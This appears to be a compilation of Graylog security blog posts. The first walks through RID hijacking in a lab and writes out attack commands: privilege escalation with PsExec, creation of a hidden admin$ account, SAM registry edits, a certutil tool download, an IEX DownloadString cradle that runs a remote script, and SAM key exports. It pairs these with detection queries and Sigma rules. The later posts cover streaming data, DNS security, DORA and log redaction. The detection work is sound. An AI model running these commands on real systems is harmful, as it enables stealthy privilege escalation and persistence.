RID hijacking is a technique discovered by Sebastian Castro that involves modifying the RID value of a low-privileged account to match the value of a privileged account such as local Administrator by manipulating the SAM database. As a result, the operating system mistakenly grants elevated privileges to the originally restricted account, allowing the attacker to execute privileged commands as that user.

This technique is particularly stealthy because the activity in event logs will still be associated with the low-privilege user and there is often less scrutiny applied to standard accounts.

However, there is a caveat to the technique – it requires SYSTEM level privileges to access and modify user information in the SAM, which resides in a protected registry key.

Attack Demonstration

According to the report from AhnLab, the threat actor’s RID hijacking process consists of the following stages. We’ll use this model as we walk through the attack in a lab environment.

The RID Hijacking attack process referenced from AhnLab

Our lab consists of a Windows 10 Enterprise system with auditing enabled for process execution (command line included), account logon and management, registry, and SAM access. Script block logging is also turned on.

System, Security, and PowerShell/Operational event logs are sent via Winlogbeat to a Graylog Enterprise 6.0.1 instance with Illuminate 6.1 installed to enable parsing and enrichment.

Stage 1: SYSTEM Privilege Escalation

We’ll assume initial access to the Windows system and start off with an elevated admin user. However, in order to access the SAM registry hive, we need SYSTEM. To do this, we can use exploits like JuicyPotato or tools like PsExec, a Microsoft Sysinternals tool often abused by adversaries for lateral movement and privilege escalation. We’ll spawn a PowerShell session using PsExec with the -s argument:

PsExec.exe -s -i powershell.exe

The output of whoami /user in the shell confirms that we’re now running as SYSTEM.

In Graylog, we can see a common indicator of Sysinternals PsExec activity, Event ID 7045 Remote Service Creation with the default service name PSEXESVC. Following the subsequent events (ordered bottom to top) we see our whoami command executed as Local System.

Stage 2: Create User Account

Having obtained SYSTEM, the adversary proceeded to create a hidden local user account and add it to privileged groups. These are the commands used:

net user admin$ admin@123 /add
net localgroup “Remote Desktop Users” “admin$” /add
net localgroup “Administrators” “admin$” /add

The trick to hiding the user here is the $ at the end of the username. It’s an old school technique that imitates computer accounts which are hidden from some user listing options – note that the newly created user isn’t shown in the output of net user.

In Graylog we see the commands as event ID 4688 labeled as “process started”, and additional labels for 4720 “account created” and 4732 “group member added”.

Stage 3: Modify the RID Value in Registry

Before demonstrating the RID hijack, let’s see what the current RID value and permissions are for the user admin$. We’ll open a separate command prompt and spawn a shell as that user using runas:

runas /user:admin$ cmd

Then, execute whoami commands in that shell. As shown, the user’s current RID is 1009 and its privileges are limited as expected for a standard user.

Well, as the chefs say, elevate it!

Back to the PowerShell session as SYSTEM, we can run regedit.exe to open the GUI registry editor in the same privilege context.

User information is stored in the SAM hive in unique subkeys under:

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

Each subkey corresponds to an account where the key name is the hexadecimal representation of the decimal user RID. The value 1009 for admin$ translates to 0x3F1, so we’re looking at the key 000003F1.

Within key 000003F1 the actual RID can be found in the value F which contains binary data. As highlighted, the RID value is located at offset 30 and stored in little-endian format.

To execute the hijack, we need to overwrite this value with the local Administrator RID of 500 (0x1F4) converted to little-endian as shown below.

With that modification, admin$ should now be given the elevated RID 500 upon logon. If we open a new command prompt as the user and run whoami /user, we see the new hijacked RID, though the rest of the SID stays unchanged. Running whoami /priv  shows that the user has been granted admin privileges.

We can hunt in Graylog for activity associated with non-Administrator accounts that have the RID 500 using the following query:

NOT user_name:administrator AND user_id:/.*\-500/

This query might result in false positives if the administrator account is renamed. We can further specify it to target both RID hijacking and user accounts mimicking machine names.

user_name:/.*\$/ AND user_id:/.*\-500/

Custom and Open-source Tooling

AhnLab Report

Manually altering SAM user information in the registry editor is good for demonstration, but it isn’t necessarily what threat actors are doing.

The AhnLab report details that Andariel utilized two distinct custom tools to automate the RID hijacking attack process. One of the tools named CreateHiddenAccount is open-source and available on GitHub.

AhnLab breaks down the differences between the tools quite well in its report:

CreateHiddenAccount is particularly interesting since it can work without SYSTEM privileges. It still needs access to the SAM registry key, so it employs the Windows CLI program regini to edit the registry through a .ini file. The file contains parameters to open up the SAM registry key access permissions to allow modification with administrator privileges.

Let’s execute the CreateHiddenAccount tool in a fresh Graylog lab to see what events are produced. First, download the UPX packed variant to the Windows host.

certutil.exe -urlcache -split -f https://github.com/wgpsec/CreateHiddenAccount/releases/download/0.2/CreateHiddenAccount_upx_v0.2.exe CreateHiddenAccount_upx_v0.2.exe

The command line arguments require the hidden user to create (the $ is appended automatically) and the target user whose RID will be cloned. Here, we’re again creating the user admin$ and targeting the local admin RID.

CreateHiddenAccount_upx_v0.2.exe -u admin -p admin@123 -cu Administrator

The tool produces some interesting events to analyze in Graylog. Directly after execution we see regini.exe being used to modify the access control rules of the SAM registry key.

Following that is a flurry of user enumeration events and account creation for admin$. Interestingly, we see the tool deleting the hidden user then silently importing a .reg file using regedit. What’s happening here is that the tool already populated the import file with information from the user registry key before it was deleted, and modified the RID in the file to match Administrator’s. This is an additional step to hide the created user as once the registry key is restored, the user becomes hidden from additional user list interfaces.

Those with their detection hat on might notice that the filenames are notably unique and static throughout the tool execution. These names are actually hardcoded in the source code, seen in the function below.

This presents an opportunity to detect CreateHiddenAccount execution via child process command lines where the unique filenames are present. Note though that this is considered a brittle detection – while it can reliably identify this particular version of CreateHiddenAccount unmodified, it is trivial for the adversary to change these filenames in the source before compiling to an executable.

Nonetheless, it’s useful in a threat hunt or to detect the vanilla tool. We can use the following query:

process_command_line:(/.*N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8\.ini/ OR /.*sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko\.reg/)

The tool by itself doesn’t do much in the way of behavior obfuscation or sandbox evasion. Querying its hash on VirusTotal returns some damning results.

Further Attempts to Hide Users

In addition to hiding the backdoor user account with a username ending in $, the custom tool used by Andariel attempts to further conceal the account through deletion and registry import operations. We analyzed a similar feature in CreateHiddenAccount, but now we’ll carry out the technique separately and see what can be gleaned from the logs.

As demonstrated below, we repeat the steps of SYSTEM privilege escalation and hidden user account creation, but this time we run a PowerShell download cradle to fetch and execute in-memory a RID hijacking script from GitHub. This leaves us with the account given administrator privileges without further action to conceal it.

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/r4wd3r/RID-Hijacking/master/Invoke-RIDHijacking.ps1'); Invoke-RIDHijacking -User 'admin$' -RID 500

Graylog Illuminate captures the PowerShell script execution and even extracts the SAM registry key path being modified for RID hijacking.

Even with the fake computer name, the hidden user still shows up in Computer Management.

Following along with the Andariel threat group’s tool methods, we run commands to:

A) Fetch the hidden user’s RID

Get-WmiObject Win32_UserAccount | Where-Object { $_.Name -eq 'admin$' } | Select-Object Name, SID

B) Export the hidden user’s associated registry keys in the SAM hive

reg export hklm\sam\sam\domains\account\users\names\admin$ names.reg

reg export hklm\sam\sam\domains\account\users\0000XXXX users.reg

C) Delete the user

net user admin$ /delete

D) Restore the user by importing the registry files containing the user keys information

reg import names.reg

reg import users.reg

By using this method, admin$ is no longer displayed in Computer Management, at least until a system reboot.

Every step of the execution can be seen in Graylog.

Detections

We’ve provided Sigma rules below to detect the following aspects of the attack chain:

• Hidden user account with Administrator RID
• RID hijacking via CreateHiddenAccount
• Export of SAM users registry keys via reg.exe

With Graylog Security, we can manually add these rules and configure timed search intervals to detect the activity in our log ingest.

The Sigma engine in Graylog provides an option to search the logs using the detector before deployment. This way you can also see the exact search query the rule translates to.

Rule #1

title: Illuminate - Hidden User Account With Administrator RID
id: 531bfab7-d18c-4f51-bae0-64cf38cae3d5
status: experimental
description: Detects special privileges assigned to a hidden account manipulated with admin RID hijacking
references:
    - https://asec.ahnlab.com/en/85942/
author: JL (Graylog)
date: 2025/02/04  # Graylog format
tags:
    - attack.privilege-escalation
    - attack.t1078
    - attack.persistence
    - attack.t1098
logsource:
    product: windows
    service: security
detection:
    selection_event:
        EventID: 4672
    selection_name:
        SubjectUserName|endswith: '$'
    selection_rid:
        SubjectUserSid|endswith: '-500'
    condition: all of selection*
falsepositives:
    - Unknown
level: high

Rule #2

title: Illuminate - RID Hijacking Via CreateHiddenAccount
id: 8b8fdf38-4e34-4d7b-bdaa-b3b9920fb80b
status: experimental
description: Detects the open-source tool CreateHiddenAccount (unmodified) used by Andariel threat group for RID hijacking
references:
    - https://github.com/wgpsec/CreateHiddenAccount/
    - https://asec.ahnlab.com/en/85942/
author: JL (Graylog)
date: 2025/02/04  # Graylog format
tags:
    - attack.privilege-escalation
    - attack.t1078
    - attack.persistence
    - attack.t1136.001
    - attack.t1098
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8'   # regini .N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8.ini
            - 'sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko'    # regedit /s .sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko.reg
    condition: selection
falsepositives:
    - Unknown
level: high

Rule #3

title: Illuminate - Export of SAM Users Registry Keys Via Reg.exe
id: 0709625a-4703-47ba-acfd-3beaa4d0f1dc
status: experimental
description: Detects export of SAM user account information via reg export
references:
    - https://asec.ahnlab.com/en/85942/
author: JL (Graylog)
date: 2025/02/04  # Graylog format
tags:
    - attack.credential_access
    - attack.t1003.002
    - attack.persistence
    - attack.t1098
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'export'
            - 'hklm\sam\sam\domains\account\users\'
    condition: selection
falsepositives:
    - Administrative scripts or forensic investigations
level: high

Graylog  Detections

Graylog has provided the Sigma Rules here to share threat detection intelligence with those not running Graylog Security. Note that Graylog Security customers receive a content feed including Sigma Rules, Anomaly Detectors, and Dashboards, and other content to meet various security use cases. For more about Sigma Rules, see our recent blog “The Ultimate Guide to Sigma Rules”

To learn how Graylog can help you improve your security posture, contact us today or watch a demo.

After a long day, you sit down on the couch to watch your favorite episode of I Love Lucy on your chosen streaming platform. You decide on the episode where Lucy can’t keep up with the chocolates on the conveyor belt at the factory where she works. Without realizing it, you’re actually watching an explanation of how the streaming platform – and your security analytics tool – work.

Data streaming is the real-time processing and delivery of data. Just like those chocolates coming through on the conveyor belt, your security analytics and monitoring solution collects, parses, and normalizes data so that you can use it to understand your IT environment and potential threats to your security.

Using streaming data for cybersecurity may present some challenges, but it also drives the analytics models that allow you to improve your threat detection and incident response program.

What is streaming data?

Streaming data is a continuous flow of information processed in real-time that businesses can use to gain insights immediately. Since the data typically appears chronological order, organizations can apply analytics models to identify or predict changes.

The key characteristics of streaming data include:

• Continuous flow: non-stop real-time data processed as it arrives
• Sequential order: data elements in chronological order for consistency
• Timeliness: rapid access for time-sensitive decision-making and activity

Continuous streaming data enables security professionals to detect patterns and identify anomalies that may indicate a potential threat or incident. Most security telemetry is streaming data, like:

• Access logs
• Web application logs
• Network traffic logs

Streaming Data vs. Static Data

Streaming data and static data differ significantly in their characteristics and applications. While static data is fixed and collected at a single point in time, streaming data is continuous and time-sensitive, containing timestamps.

Timeliness

When using data for security use cases, timeliness is a key differentiator:

• Static data: fixed, point-in-time snapshot
• Streaming data: continuous, real-time, no defined end

Sources

For security professionals, this difference is often the one that makes managing and using security data challenging:

• Static data: typically fewer, defined sources
• Streaming data: large numbers of diverse geographic locations and technologies

Format

When managing security telemetry, format is often the most challenging difference that you need to manage:

• Static data: uniform and structured
• Streaming data: various formats, including structured, unstructured, and semi-structured

Analytics Use

The key difference that matters for security teams is how to use the data with analytics models:

• Static data: mostly historical insights
• Streaming data: predictive analytics and anomaly detection

What are the major components of a stream processor?

With a data stream processor, you can get timeline insights by analyzing and visualizing your security data.

Data stream management

Data stream management involves data storage, process, analysis, and integration so that you generate visualizations and reports. Typically, these technologies have:

• Data source layer: captures and parses data
• Data ingestion layer: handles the flow of data between source and processing layers
• Processing layer: filters, transforms, aggregates, and enriches data by detecting patterns
• Storage layer: ensures data durability and availability
• Querying layer: tools for asking questions and analyzing stored data
• Visualization and reporting layer: performs visualizations like charts and graphs to help generate reports
• Integration layer: connects with other technologies

Complex event processing

Complex event processing identifies meaningful patterns or anomalies within the data streams. The components of complex event processing include:

• Event Detection: Identifies significant occurrences within IoT data streams.
• Insight Extraction: Derives actionable information from detected events.
• Rapid Transmission: Ensures swift communication to higher layers for real-time action.

These functionalities are critical for real-time analysis, threat detection, and response.

Data collection and aggregation

Data collection and aggregation organizes the incoming data, normalizing it so that you can correlate various sources to extract insights. Real-time data analysis through streaming enhances an organization’s ability to detect and respond to cyber threats promptly, improving overall security postures. Continuous monitoring and strong security measures are pivotal to protect data integrity during transit.

Continuous logic processing

Continual logic processing underpins the core of stream processing architecture by executing queries on incoming data streams to generate useful insights. This subsystem is crucial for real-time data analysis, ensuring prompt insights essential for maintaining vigilance against potential cybersecurity threats.

What are the data streaming and processing challenges with cybersecurity telemetry?

Data streaming and processing come with several challenges for cybersecurity teams who deal with data heterogeneity that impacts their ability to detect and investigate incidents.

Data Volume and Diversity

Modern IT environments generate high volumes of data in disparate formats. For example, security analysts often struggle with the different formats across their logs, like:

• Windows event logs
• Google cloud logs
• AWS VPC flow logs

Chronological order

Data streams enable you to use real-time data to promptly identify anomalies or detect security incidents. However, as the data streams in, you need to ensure that you can organize it chronologically, especially when you need to write your security incident report.

Scalability

The increasing volume of stream data necessitates that processing systems adapt dynamically to varying loads to maintain quality. For example, you may need to scale up your analytics – and therefore data processing requirements – when engaging in an investigation.

Benefits of data streaming and processing for cybersecurity teams

When you use real-time data streaming, you can move toward a proactive approach to cybersecurity, enabling real-time detections and faster incident response. Utilizing Data Pipeline Management can help you also save costs when routing data where you want it.

Infrastructure Cost Reduction

When you use streaming data, you can build a security data lake strategy that involves data tiering. You can reduce the total cost of ownership by optimizing the balance of storage costs and system performance. For example, you could have the following three tiers of data:

• Hot: data needed immediately for real-time detections
• Warm: data stored temporarily in case you need it to investigate an alert
• Cold: long term data storage for historical data or to meet a retention compliance requirement

When you can store cold data in a cheaper location, like an S3 bucket, you reduce overall costs.

Improve Detections

Streaming data enables you to parse, normalize, aggregate, and correlate log information from across your IT environment. When you use real-time data, you can detect threats faster, enabling you to mitigate the damage an attacker can do. The aggregation and correlation capabilities enable you to create high-fidelity alerts so you can focus on the potential threats that matter to your systems, networks, and data. Additionally, since streaming data is already processed, you can enrich and integrate it with:

• Threat intelligence
• MITRE ATT&CK Framework techniques and subtechniques
• Sigma rules

Apply Security Analytics

Security analytics are analytics models focused on cybersecurity use cases, like:

• Security hygiene: how well your current controls work
• Security operations: anomaly detection, like identifying abnormal user behavior
• Compliance: identifying security trends like high severity alerts by source, type, user, or product

For example, anomaly detection analytics identify behaviors within data that do not conform to expected norms, enabling you to prevent or detect unauthorized access or potential data exfiltration attempts.

Graylog Security: Real-time data for improved threat detection and incident response

Graylog Enterprise and Security ensures scalability as your data grows to reduce total cost of ownership (TCO). Our platform’s innovative data tiering using data pipeline management capability facilitates efficient data storage management by automatically organizing data to optimize access and minimize costs without compromising performance.

With frequently accessed data kept on high-performance systems and less active data in more cost-effective storage solutions, you can leverage Graylog Security’s built-in content to uplevel your threat detection and response (TDIR) processes. Our solution combines MITRE ATT&CK’s knowledge base of adversary behavior and vendor-agnostic sigma rules so you can rapidly respond to incidents, improving key cybersecurity metrics. By combining the power of MITRE ATT&CK and sigma rules, you can spend less time developing custom cyber content and more time focusing on more critical tasks.

Your Domain Name System (DNS) infrastructure enables users to connect to web-based resources by translating everyday language into IP addresses. Imagine going into a restaurant, in the age before the internet, only to find that the staff speaks and the menu is written in a different language from yours. Without some shared communication form, you can’t order dinner, and they can’t give you what you want. Finally, someone comes into the restaurant who speaks both languages, acting as the translator so you can get the service you need.

A DNS infrastructure is the translator for cloud-based operations for continued services. However, when malicious actors target your DNS, a successful attack can lead to downtime or a data breach.

To mitigate risk, you should implement some DNS security best practices, including knowing what logs help you monitor for and detect a potential incident.

What is DNS security?

DNS security refers to the measures taken to protect the Domain Name System (DNS) infrastructure from cyber attacks. DNS translates a human-readable URL (Uniform Resource Locator) into a machine-readable IP address, routing user requests to the appropriate digital resources.

Cyber attacks against the DNS infrastructure can lead to:

• Website defacement
• Traffic hijacking sending users to malicious websites or intercepting communications
• Unauthorized access to sensitive information
• Distributed Denial of Service (DDoS) attacks causing service outages and business interruption

DNS security controls typically include:

• Redundancy: Using multiple DNS servers spread across different locations to prevent a single point of failure
• DNS Security Extensions (DNSSEC): Protocols providing authentication and data integrity
• DNS logging: Monitoring for and detecting malicious activities

Why is DNS security important?

The history of DNS gives insight into why it is not a secure technology. Originally created in 1983 so people could more easily navigate the nascent internet, no one predicted this new connectivity would change and become critical to daily operations.

Your DNS infrastructure acts as the foundation for your digital business operations meaning the service disruptions lead to downtime and lost revenue.

A successful attack against your DNS infrastructure can lead to:

• Business disruption: Without the ability to translate URLs into IP addresses, users and customers cannot connect to digital services.
• Lost revenue: Without the ability to connect to services, customers cannot engage in transactions, like being able to purchase items in an e-commerce store.
• Data breach: Compromising DNS services can lead to unauthorized data transfers, modification, or access that impact sensitive data’s integrity and privacy.
• Compliance risk: DNS is included in various compliance frameworks and mandates, including the Payment Card Industry Data Security Standard (PCI DSS) and International Organization for Standardization (ISO) 27002-2022

6 DNS Attack Types and How to Prevent Them

As attackers increasingly target the DNS infrastructure, knowing these four common attack types can help you implement security controls and the appropriate monitoring to mitigate risk.

DoS and DDoS

Many attacks against the DNS infrastructure fall into these categories, even if they use different methodologies for achieving the objective. Although similar, you should understand the following differences:

• Denial of Service (DoS): one computer using one internet connection sends high volumes of traffic to a remote server
• Distributed Denial of Service (DDoS): multiple devices across multiple internet connections target a resource, often using a botnet consisting of devices infected with malware

These attacks flood a DNS server with requests and traffic. As the server attempts to manage the responses, it becomes overloaded and shuts down.

DNS amplification attacks

One DDoS attack type is DNS amplification, in which malicious actors send high volumes of DNS name lookup requests to publicly accessible, open DNS servers. Instead of using their own IP in the source address, the attackers spoof the target’s address so that the DNS server responds to the target.

DNS hijacking

In a DNS hijacking attack, malicious actors make unauthorized changes to the DNS settings which redirect users to deceptive or malicious websites. Some varieties of DNS hijacking attack include:

• Cache poisoning: inserting false data into the DNS server’s cache to redirect users when they try to access the website
• Server hijacking: gaining unauthorized access to a domain’s DNS records and changing A or AAAA records that redirect users to a malicious IP address or attacker-controlled server

DNS Spoofing

DNS spoofing, also called DNS poisoning, exploits security gaps in the DNS protocol. The attacker gets in between the browser and the DNS server to supply the wrong response, diverting traffic to the malicious website.

DNS tunneling

DNS tunneling is a sophisticated attack where malicious actors insert data into the communication path between the browser and server. This enables them to bypass several defensive technologies, including:

• Filters
• Firewalls
• Packet capture

This process routes queries to a command and control (C2) server, enabling them to steal information.

DNS Logging Best Practices for Improved Security

Whether you build your own DNS infrastructure or use a managed service, you should be integrating your DNS logs into your overarching security monitoring. While the logs should provide similar information, the field used changes based on your DNS server’s manufacturer. However, you should look for log fields supporting the following categories and event types.

Zone operations

In DNS-speak, the zone refers to the domain. Some data you should consider collecting include log fields related to the creation, deletion, or modification to:

• Zones
• Records
• Nodes

DNS Security Extensions (DNSSEC)

DNSSEC are configurations that use digital signatures to authenticate DNS queries and responses. Some data you should consider collecting include log fields related to:

• Addition of new keys or trust points
• Removal of keys or trust points
• Exports of metadata

Policies

DNS policies allow you to

• Balance traffic loads
• Assign DNS clients based on geographic location
• Create zones
• Manage query filters
• Redirect malicious DNS requests to a non-existent IP address

Some data you should consider collecting include log fields related to the creation, deletion, or modification of:

• Client subnet records
• Server level policies
• Forwarding policies
• Zone policies

Graylog Security: Correlating DNS Log Events

DNS logs are often difficult to parse, sometimes creating a blind spot when monitoring DNS security. Graylog Security offers out-of-the-box content that streamlines this process with pre-built content to rapidly set up and start monitoring your DNS security.

Our prebuilt content to map security events to MITRE ATT&CK. By combining Sigma rules and MITRE ATT&CK, you can create high-fidelity alerting rules that enable robust threat detection, lightning-fast investigations, and streamlined threat hunting. For example, with Graylog’s security analytics, you can monitor user activity for anomalous behavior indicating a potential security incident. By mapping this activity to the MITRE ATT&CK Framework, you can detect and investigate adversary attempts at using Valid Accounts to gain Initial Access, mitigating risk by isolating compromised accounts earlier in the attack path and reducing impact.

Graylog’s risk scoring capabilities enable you to streamline your threat detection and incident response (TDIR) by aggregating and correlating the severity of the log message and event definitions with the associated asset, reducing alert fatigue and allowing security teams to focus on high-value, high-risk issues.

The financial services industry has been a threat actor target since before digital transformation was even a term. Further, the financial services organizations find themselves continuously under scrutiny. As members of a highly regulated industry, these companies need to comply with various laws to ensure that they effectively protect sensitive data.

The adoption of the Digital Operational Resilience Act (DORA) places additional resilience compliance requirements on the European financial sector, ones that centralized log management can help them manage.

What is the Digital Operational Resilience Act (DORA)?

Formally adopted by the European Parliament and goes into effect on January 17, 2025, the Digital Operational Resilience Act (DORA) established uniform network and information system security requirements across the financial sector and the third-parties that provide Information Communication Technology (ICT) services, including cloud platforms and data analytics services.

The DORA regulatory framework requires organizations to make sure they can withstand, respond to, and recover from ICT-related disruptions and threats. It sets out standardized requirements for  preventing and mitigating cyber threats across all European Union (EU) member states.

Who will DORA apply to?

To achieve DORA’s resilience goals, the regulation applies to a long list of entities within the financial services industry and third-parties that enable them, including:

• Credit institutions
• Payment institutions
• Account information service providers
• Electronic money institutions
• Investment firms
• Crypto-asset services providers
• Central security depositories
• Central counterparties
• Trading venues and repositories
• Managers of alternate investment funds
• Management companies
• Data reporting service providers
• Insurance and reinsurance undertakings
• Insurance, reinsurance, and ancillary insurance intermediaries
• Institutions for occupational retirement provision
• Credit rating agencies
• Administrators of critical benchmarks
• Crowdfunding service providers
• Securitisation repositories
• ICT third-party service providers

What are DORA’s key provisions?

Section II outlines DORA’s key requirements including:

• Article 6 ICT risk management framework: strategies, policies, procedures, ICT protocols and tools necessary to protect information and ICT assets
• Article 7 ICT systems, protocols and tools: use and maintain updated ICT systems, protocols and tools that are appropriate to operational magnitude, reliable, equipped with sufficient capacity, and technologically resilient
• Article 8 Identification: identify, classify, document, and engage in a risk analysis for all information and ICT assets and processes, including those on remote sites, network resources, and hardware equipment
• Article 9 Protection and prevention: develop, document, implement, and maintain security policies and technical controls that protect data confidentiality, integrity, availability, and authenticity and continuously monitor the effectiveness of controls
• Article 10 Detection: implement mechanisms and provide sufficient resources to monitor and detect, across multiple layers of control, anomalous activity by using defined thresholds and criteria that trigger and initiate incident response processes
• Article 11 Response and recovery: establish and implement an ICT business continuity policy based on a business impact analysis (BIA) that includes dedicated, appropriate, documented, and tested arrangements, plans, procedures, and mechanisms for ensuring critical functions, responding to and resolving incidents, enable incident containment, estimate preliminary impact, damage, and losses, and establish communications and crisis management activities
• Article 12 Backup policies and procedures, restoration and recovery procedures and methods: develop, document, implement and test backup, restoration, and recovery policies, procedures, methods, and service level agreements that can be activated without jeopardizing network ir information system security or data availability, authenticity, integrity, or confidentiality
• Article 13 Learning and evolving: implement capabilities and staff to gather vulnerability and cyber threat information, develop ICT-security awareness programs, and review incident detection, response, forensic analysis, escalation, and internal and external communication capabilities to improve business continuity
• Article 14 Communication: implement crisis communications plans and policies that inform internal staff and external stakeholders about ICT-related incidents or vulnerabilities

For small and non-interconnected investment firms, payment institutions, electronic money institutions, and occupational retirement provisions, or other exempt entities, Article 16 articulates a simplified ICT risk management framework that requires:

• Implementing and maintaining an ICT risk management framework with mechanisms and measures that mitigate risk
• Continuously monitoring ICT system security and functioning
• Protecting data availability, authenticity, integrity, and confidentiality using sound, resilient, and updated ICT systems, protocols, and tools
• Promptly identifying and detecting ICT-related risks, incidents, and anomalous activities
• Identifying key ICT third-party service provider dependencies
• Implementing business continuity plans, response, and recovery measures, including backup and restoration
• Testing risk mitigation measures, data protections, and business continuity plans
• Implementing changes based on tests and post-incident analyses, including changes to ICT risk profile, ICT security awareness programs, and staff and management digital operational resilience training

The Regulatory Technical Standards

On January 17, 2024, the final draft of the Regulatory Technical Standards was published. Under Section V ICT Operations Security, Article 12 Logging defines acceptable procedures, protocols, and tools.

The logging procedures and protocols should:

• Identify the events to log
• Retain logs for an appropriate time
• Enable the secure handling of log data

When using logs to detect anomalous activities, organizations are required to collect log events related to the following:

• Identity and access, including logical and physical access control
• Capacity management
• Change management
• ICT operations, including system activities
• Network traffic, including performance

The details captured in the logs should align with their purpose and usage to enable accurate alerting and forensic analysis. Under Chapter III, Article 23 organizations shall implement detection mechanisms allowing them to:

• Collect, monitor, and analyze internal and external factors, including logs collected according to Article 12
• Generate alerts for identifying anomalous activities and behaviors with automated alerts based on predefined rules
• Prioritize alerts to manage incidents within the required timeframe
• Record, analyze, and evaluate relevant information on all abnormal activities and behaviors either automatically or manually

When establishing criteria that triggers threat detection and incident response (TDIR), organizations shall consider the following criteria:

• Indications that malicious actors carried out malicious activity or compromised a system or network
• Data losses detected that impact data availability, authenticity, integrity, and confidentiality
• Adverse impact on transactions and operations detected
• System and network unavailability

Compliance Monitoring For DORA Compliance

Centralized log management with security analytics enables you to continuously monitor your environment and create high-fidelity alerts that enable faster response, investigation, and recovery. To help you meet DORA compliance requirements, you can use your centralized log management solution to support:

• Access monitoring
• Network monitoring
• Endpoint security
• Patch management
• Data exfiltration/data loss
• Incident and response

Further, it enables many of DORA’s key requirements, including:

• Threat hunting
• Detection with high-fidelity alerts
• Remediation of vulnerabilities
• Incident investigation

Access Monitoring

Your centralized log management solution ingests access logs from across your environment, including on-premises and cloud-based resources. When paired with user and entity behavior analytics (UEBA), it gives you a robust access monitoring solution to detect and investigate anomalous behavior, even within a complex environment.

By using a centralized log management solution with security analytics, you can engage in security functions like:

• Privileged access management (PAM)
• Password policy compliance
• Abnormal privilege escalation
• Time spent accessing a resource
• Brute force attack detection‍

Network Monitoring

When monitoring network security, you’re usually correlating and analyzing data from several different tools.

Your firewalls define the inbound and outbound traffic, giving you the ability to detect suspicious activity like data traveling to a cybercriminal-controlled server.

Intrusion detection systems and intrusion prevention systems (IPS) provide visibility into potential evasion techniques. When combined with your firewall data, you have a more complete story. 

When the centralized log management solution also incorporates security analytics, you can set baselines for normal network traffic that help you detect anomalies for visibility into a potential security incident.

Data exfiltration

Between credential-based attacks, malware/ransomware attacks, and Advanced Persistent Threats (APTs), monitoring your systems for data exfiltration is critical to DORA compliance. 

If your centralized log management solution provides security analytics that you can combine with threat intelligence, your dashboards and high-fidelity alerts enable you to more rapidly detect, investigate, and respond to security incidents. 

For example, when you can aggregate your network monitoring and antivirus logs then correlate them with UEBA to detect anomalies, you can create alerts that provide insights into abnormal data downloads indicating a security incident. 

Incident response and automated threat hunting

With lightning fast search and proactive threat hunting capabilities, you can implement a robust incident response plan that enables digital resilience. 

For example, if you can create queries using parameters instead of specific values, you can optimize search for real-time answers. 

To take a proactive approach, you can create parameterized searches that look for advanced threat activities like:

• Abnormal user access to sensitive information
• Abnormal time of day and location of access
• High volumes of files accessed
• Higher than normal CPU, memory, or disk utilization
• Higher than normal network traffic

Compliance reporting and post-incident learning

Your senior leadership team needs to know what happened and how quickly you responded, but it may not need the deep technical details. Your centralized log management solutions dashboards can provide the high level visualizations that enable everyone to evaluate the security incident after you restore and recover your systems.

For example, you could use a dashboard to show:

• Start of incident: when logs documented changes
• Incident activities: what types of changes the logs documented to highlight what the threat actor tried to do
• Containment/Eradication: when logs stop reporting the activities indicating the threat actor is no longer acting in the system

Graylog Security: Security analytics without complexity

With Graylog’s security analytics and anomaly detection capabilities, you get the cybersecurity platform you need without the complexity that makes your team’s job harder. With our powerful, lightning-fast features and intuitive user interface, you can lower your labor costs while reducing alert fatigue and getting the answers you need – quickly.

Our prebuilt search templates, dashboards, correlated alerts, and dynamic look-up tables enable you to get immediate value from your logs while empowering your security team.

Many organizations today have strict data privacy regulations that they must comply with. These privacy regulations can often clash with the requirements of security, application and operations teams who need detailed log information. This how to guide walks you through redacting message fields for privacy purposes.

At Graylog, many of the organizations who use our tool are logging sensitive data that may contain personally identifiable information, health related data or financial data. Often, to ensure compliance with data privacy laws, this information must be redacted or hidden from many of the end users of the tool. 

I’m going to walk through a simple way we can use processing pipelines to scrub personally identifiable information from a log message so that it is only visible to an elevated Graylog user account.

Caution: To achieve this functionality we need to replicate the message. This will increase the amount of data written to OpenSearch which may impact licensing or storage requirements.

Configuration

In my lab environment I have Auditbeat running on my host machine.. Log messages are sent to a Graylog Illuminate stream called “Illuminate:Linux Auditbeat Messages”.

In these messages I can see my username. First in the user_name field and again in the message field.

Pipeline Rule

For privacy purposes I am going to redact these usernames and route the messages into a separate stream, “Auditbeat Redacted”. I’ll retain the unredacted message in the “Illuminate:Linux Auditbeat Messages” stream. We’ll then restrict the access rights to these different streams.

To achieve this we need to write a pipeline rule that will create a copy of the message, edit the contents, route it into the new stream and remove the copy from the original stream.

This is what the complete pipeline rule looks like, I’ll walk through it line by line:

Identify The Message

The first step in the rule is to identify the messages we want to modify. This is achieved by finding messages with the relevant username field and also performing a check to ensure the message hasn’t already been modified. This check is important and I’ll explain why in the next part:

Clone The Message

After we have identified the message we want to process we then clone the message. 

IMPORTANT: When a message is cloned an exact copy of the message is created however it will be given a new message ID. From the view of the processing pipeline, this message has not been processed so it will flow through the pipeline as a newly seen message. If the check in the previous block was not performed, we would end up in an infinite loop of cloning the same message:

As the message field in the log contains the username, we are going to first redact it from here, before removing it from the auditbeat_user_name field itself. I am using the original $message field to find the username, but then replacing the the message field in the cloned message, cloned_mess:

We then replace the username field with “REDACTED”:

Stream Routing

Before routing and removing from the relevant streams:

Once we have written the rule, we need to apply it to our Auditbeat stream. Create a new pipeline, ensure you have selected the relevant stream in the Pipeline Connections, and apply the rule at an appropriate stage. In my case I only have 1 rule so I am applying it at Stage 0:

Search And Share

If we now go to the Search page, we should be able to see the redacted and non-redacted fields when switching between the Auditbeat stream and the Auditbeat Redacted stream:

We can now share these streams out with the relevant user accounts. In my example I have created a test account of an analyst who is only allowed to view the REDACTED stream. On the Streams page I can click on Share and assign this user Viewer rights to this stream:

If we log in under this user, you can see that they only have access to the Auditbeat Redacted stream:

Additional Thoughts

Finally, with Graylog Operations and Graylog Security, you will be able to audit which users are accessing sensitive data inside of Graylog for even more control and oversight.

